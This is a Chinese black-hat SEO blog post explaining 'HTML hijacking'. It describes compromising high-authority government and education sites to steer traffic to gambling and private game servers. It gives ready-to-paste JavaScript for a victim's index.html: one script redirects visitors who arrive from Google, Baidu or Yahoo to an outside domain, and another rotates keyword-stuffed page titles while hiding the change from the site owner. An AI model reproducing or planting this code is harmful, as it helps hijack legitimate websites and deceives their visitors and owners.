众所周知,黑帽SEO中zui常见的手法便是网页劫持了。其劫持手法众多,asp/aspx/php劫持、js劫持、html劫持等等。今天林云跟大家先讲讲html劫持的原理及劫持代码。
网页代码劫持原理
网页劫持是目前黑帽SEO或者说黑产zui喜欢的一种网页引流方式,此手法往往通过入侵政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、博彩等暴利行业。
html劫持代码
如下:message[0]中的关键词并不是你的关键词,而是给网站原有的人看的;
找到index.html文件,编辑,代码记住是放到下面;
接下来我们看下代码实现方法:
< script LANGUAGE = "Javascript" >
var s = document.referrer
if (s.indexOf("google") > 0 || s.indexOf("baidu") > 0 || s.indexOf("yahoo") > 0) location.href = "https://www.lurbk.com"; < /script>
<script LANGUAGE="Javascript">
var message = new Array();
message[0] = "一起学习网|黑帽seo|seo教程|seo自学网";
var reps = 1;
var speed = 0;/ / Set the overall typing speed(larger number = slower action).
var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer)
var p = message.length;
var q = 0;
var r = 0;
var C = 0;
var mC = 0;
var s = 0;
var sT = null;
if (reps < 1) { reps = 1;
}
function setMessage() { typing = message[mC]; q = typing.length; r = q + hold; typeMessage();
}
function typeMessage() {
if (s > r) { s = 0;
}
if (s > q) { document.title = typing;
}
else { document.title = typing.substr(0, s);
}
if (C < (r * reps)) { sT = setTimeout("typeMessage()", speed); C++; s++;
}
else { C = 0; s = 0; mC++;
if (mC > p - 1) {
mC = 0;
} sT = null; setMessage();
}
} setMessage(); < /script>
以上就是黑帽SEO中网页劫持也就是html劫持原理以及html劫持代码的知识分享,希望能够帮助到我们众多的seoer。
原创文章:《【黑帽SEO】SEO中html恶意劫持原理及html劫持代码》,作者:林云SEO,如若转载,请注明原文及出处:https://www.tang-seo.com/626.html